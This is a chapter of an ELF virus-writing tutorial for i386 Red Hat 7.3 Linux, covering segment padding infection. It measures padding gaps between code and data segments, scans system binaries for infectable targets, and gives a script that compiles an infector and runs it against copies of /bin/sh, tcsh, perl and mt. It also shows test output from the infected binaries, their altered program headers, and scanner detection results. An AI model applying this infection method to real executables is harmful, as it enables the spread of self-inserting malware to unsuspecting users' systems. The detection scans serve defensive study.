The ELF Virus Writing HOWTO: i386-redhat7.3-linux
Prev |  | Next

# 6. Segment padding infection

| Don't be too proud of this technological terror you've constructed. The ability to destroy a planet is insignificant next to the power of the Force.
| Darth Vader

Another interesting thing in the output of Bashful glance is the distance between the two LOAD segments:

> `VirtAddr`[2] - `VirtAddr`[1] - `MemSiz`[1] = 0x80c7420 - 0x8048000 - 0x7e414 = 0x100c = 4108 bytes

> `Offset`[2] - `Offset`[1] - `FileSiz`[1] = 0x7e420 - 0x0 - 0x7e414 = 0xc = 12 bytes

Only 12 bytes (0xc) would be needed to align the first LOAD segment up to the alignment of 0x1000. For some reason at least one complete page lies between code segment and data segment. Is this gap target for a virus? Well, that depends. See Segment padding infection (i) for a general introduction. Anyway, the interesting thing in the output below is the value of `_SC_PAGESIZE`. We can fill the gap only in chunks of that size.

Output: out/i386-redhat7.3-linux/segment_padding/sysconf

    _SC_CLK_TCK=100
    _SC_VERSION=199506
    _SC_PAGESIZE=4096
    _SC_PHYS_PAGES=31697
    _SC_AVPHYS_PAGES=2233

## 6.1. Skim the horizon

The next step is to verify the existence of this gap in a typical population of executables. Scan segment padding is platform independent, but the its output is just below. The first test is with typical places like `/bin`. Note that only the last few lines of output are shown.

Output: out/i386-redhat7.3-linux/scanner/dist_big

    /usr/lib/gimp/1.2/plug-ins/video                     addr=08053000 dist=00000044
    /usr/lib/gimp/1.2/plug-ins/warp                      addr=0804f000 dist=000002b8
    /usr/lib/gimp/1.2/plug-ins/waves                     addr=0804c248 dist=00001000
    /usr/lib/gimp/1.2/plug-ins/whirlpinch                addr=0804cbb0 dist=00001000
    /usr/lib/gimp/1.2/plug-ins/wind                      addr=0804d110 dist=00001000
    /usr/lib/gimp/1.2/plug-ins/wmf                       addr=08050330 dist=00001000
    /usr/lib/gimp/1.2/plug-ins/xjt                       addr=08055000 dist=00000635
    /usr/lib/gimp/1.2/plug-ins/xpm                       addr=0804b000 dist=00000050
    /usr/lib/gimp/1.2/plug-ins/xwd                       addr=0804d000 dist=00000001
    files=1712; det_page=0968; det_align=0486; min=0x00000000; max=0x0000101f

On this installation at least 744 files are possible targets. So on to all infected executables created from the sources of this document. Again only the last few lines of output is shown. It's enough to see that all infected files are detected.

Output: out/i386-redhat7.3-linux/scanner/dist_small

    one_step_closer/e2i1/perl_infected                   addr=080f3260 dist=0000000e
    one_step_closer/e2i1/mt_infected                     addr=0804b5a0 dist=0000001e
    one_step_closer/e2i1/sh_infected                     addr=080c7420 dist=0000000c
    one_step_closer/e2i1/strip_sh_infected               addr=080c7420 dist=0000000c
    one_step_closer/e3i1/tcsh_infected                   addr=0808bf80 dist=00000010
    one_step_closer/e3i1/perl_infected                   addr=080f3260 dist=0000000e
    one_step_closer/e3i1/mt_infected                     addr=0804b5a0 dist=0000001e
    one_step_closer/e3i1/sh_infected                     addr=080c7420 dist=0000000c
    one_step_closer/e3i1/strip_sh_infected               addr=080c7420 dist=0000000c
    files=0035; det_page=0035; det_align=0035; min=0x0000000c; max=0x0000001e

## 6.2. Off we go

We found a peculiarity. We verified its existence. We have a basic framework at One step closer (i) and implemented the specific infection method at Segment padding infection (i). The code to insert is at Infection #1. So off we go.

Command: pre/i386-redhat7.3-linux/one_step_closer/cc.sh

    #!/bin/sh
    project=${1:-one_step_closer}
    entry_addr=${2:-e1}
    infection=${3:-i1}
    main=${4}

    /usr/bin/gcc -O1 -I out/i386-redhat7.3-linux -D NDEBUG -g \
    	-I ./src/one_step_closer/${entry_addr} \
    	-I out/i386-redhat7.3-linux/${project}/${infection} \
    	-o tmp/i386-redhat7.3-linux/${project}/${entry_addr}${infection}/infector \
    	${main} \
    && cd tmp/i386-redhat7.3-linux/${project}/${entry_addr}${infection} \
    && ./infector /bin/tcsh /usr/bin/perl /bin/mt /bin/sh

Output: out/i386-redhat7.3-linux/one_step_closer/e1i1/cc

    Infecting copy of /bin/tcsh... wrote 26 bytes, Ok
    Infecting copy of /usr/bin/perl... wrote 26 bytes, Ok
    Infecting copy of /bin/mt... wrote 26 bytes, Ok
    Infecting copy of /bin/sh... wrote 26 bytes, Ok
    4 infected, 0 failed

A simple shell script will do as test.

Output = Command: out/i386-redhat7.3-linux/one_step_closer/test-e1i1.sh

    #!tmp/i386-redhat7.3-linux/one_step_closer/e1i1/sh_infected
    echo $_
    echo $BASH_VERSION
    tmp/i386-redhat7.3-linux/one_step_closer/e1i1/mt_infected
    tmp/i386-redhat7.3-linux/one_step_closer/e1i1/tcsh_infected -fc 'echo $version'
    tmp/i386-redhat7.3-linux/one_step_closer/e1i1/perl_infected -v | head -2
    echo "---"
    cp tmp/i386-redhat7.3-linux/one_step_closer/e1i1/sh_infected tmp/i386-redhat7.3-linux/one_step_closer/e1i1/strip_sh_infected \
    && strip tmp/i386-redhat7.3-linux/one_step_closer/e1i1/strip_sh_infected \
    && tmp/i386-redhat7.3-linux/one_step_closer/e1i1/strip_sh_infected --version

Output: out/i386-redhat7.3-linux/one_step_closer/test-e1i1

    ELFtmp/i386-redhat7.3-linux/one_step_closer/e1i1/sh_infected
    2.05a.0(1)-release
    ELFusage: mt [-v] [--version] [-h] [ -f device ] command [ count ]
    ELFtcsh 6.10.00 (Astron) 2000-11-19 (i386-intel-linux) options 8b,nls,dl,al,kan,rh,color,dspm
    ELF
    This is perl, v5.6.1 built for i386-linux
    ---
    ELFGNU bash, version 2.05a.0(1)-release (i686-pc-linux-gnu)
    Copyright 2001 Free Software Foundation, Inc.

The Force is strong with this one. [1]

## 6.3. Magnifying glass

After emotions cooled down a bit we can examine the infected executable and compare it with the original.

Command: pre/i386-redhat7.3-linux/segment_padding/readelf.sh

    #!/bin/sh
    cd tmp/i386-redhat7.3-linux/one_step_closer/e1i1 \
    && /bin/ls -l sh_infected \
    && /usr/bin/readelf -l sh_infected

Output: out/i386-redhat7.3-linux/segment_padding/readelf

    -rwxrwxr-x    1 alba     alba       545192 Oct 23 01:54 sh_infected

    Elf file type is EXEC (Executable file)
    Entry point 0x80c6420
    There are 6 program headers, starting at offset 52

    Program Headers:
      Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
      PHDR           0x000034 0x08048034 0x08048034 0x000c0 0x000c0 R E 0x4
      INTERP         0x0000f4 0x080480f4 0x080480f4 0x00013 0x00013 R   0x1
          [Requesting program interpreter: /lib/ld-linux.so.2]
      LOAD           0x000000 0x08048000 0x08048000 0x7f414 0x7f414 R E 0x1000
      LOAD           0x07f420 0x080c7420 0x080c7420 0x05934 0x09ad0 RW  0x1000
      DYNAMIC        0x084a0c 0x080cca0c 0x080cca0c 0x000d8 0x000d8 RW  0x4
      NOTE           0x000108 0x08048108 0x08048108 0x00020 0x00020 R   0x4

     Section to Segment mapping:
      Segment Sections...
       00
       01     .interp
       02     .interp .note.ABI-tag .hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .plt .text .fini .rodata
       03     .data .eh_frame .dynamic .ctors .dtors .got .bss
       04     .dynamic
       05     .note.ABI-tag

File size and code segment have grown as expected. Data segment and `DYNAMIC` segment moved accordingly:

> infected.file_size - sh.file_size = 545192 - 541096 = 4096 = 0x1000

> infected.`LOAD`[1].`Filesiz` - sh.`LOAD`[1].`Filesiz` = 0x7f414 - 0x7e414 = 0x1000

> infected.`LOAD`[2].`Offset` - sh.`LOAD`[2].`Offset` = 0x7f420 - 0x7e420 = 0x1000

> infected.`DYNAMIC`.`Offset` - sh.`DYNAMIC`.`Offset` = 0x84a0c - 0x83a0c = 0x1000

## 6.4. First scan

The small output of Scan segment padding contains the executable from last chapter. But for clarity we repeat the exercise.

Command: pre/i386-redhat7.3-linux/segment_padding/scan_dist.sh

    #!/bin/sh
    TEVWH_TMP=tmp/i386-redhat7.3-linux
    TEVWH_PAGESIZE=1000
    TEVWH_ELF_ALIGN=1000
    export TEVWH_TMP TEVWH_PAGESIZE TEVWH_ELF_ALIGN

    /usr/bin/objdump -p \
    	/bin/sh \
    	tmp/i386-redhat7.3-linux/one_step_closer/e1i1/sh_infected \
    | ./src/scanner/dist.pl

Output: out/i386-redhat7.3-linux/segment_padding/scan

    one_step_closer/e1i1/sh_infected                     addr=080c7420 dist=0000000c
    files=0002; det_page=0001; det_align=0001; min=0x0000000c; max=0x0000100c

This is like playing chess against oneself, and losing. Can't do much about it, though.

## 6.5. Second scan

The value of `Entry point` changed dramatically. In the original it is in the first part of the file:

> entry_point_m/additional.cs.xml = 0x8059440 - 0x8048000 = 0x11440 = 70720 bytes.

The infected copy moved that to less than `1000` bytes from the end of the code segment.

> entry_point_ofs = 0x80c6420 - 0x8048000 = 0x7e420 = 517152 bytes.

> end_of_LOAD1 = 0x8048000 + 0x7f414 = 0x80c7414

> entry_point_distance_to_end = 0x80c7414 - 0x80c6420 = 0xff4 = 4084

This alone is an easy vulnerability to scanners. But since Sections we know that for regular executables the entry point equals the start of section `.text`. We let the script in Scan entry point loose on all infected executables produced from the sources of this document. Only a few are detected. Which means there is cure against this vulnerability (just read on).

Output: out/i386-redhat7.3-linux/scanner/entry_point_small

    one_step_closer/e1i1/tcsh_infected                               ep=0x0808af70 sot=0x0804a1f0
    one_step_closer/e1i1/perl_infected                               ep=0x080f2260 sot=0x08059b20
    one_step_closer/e1i1/mt_infected                                 ep=0x0804a590 sot=0x08048690
    one_step_closer/e1i1/sh_infected                                 ep=0x080c6420 sot=0x08059440
    one_step_closer/e1i1/strip_sh_infected                           ep=0x080c6420 sot=0x08059440
    files=0035; detected=0005

### Notes

[1] | Ok, it is not strip-safe on SunOS. But I call that room for improvement.

Prev | Home | Next
readelf & objdump |  | The entry point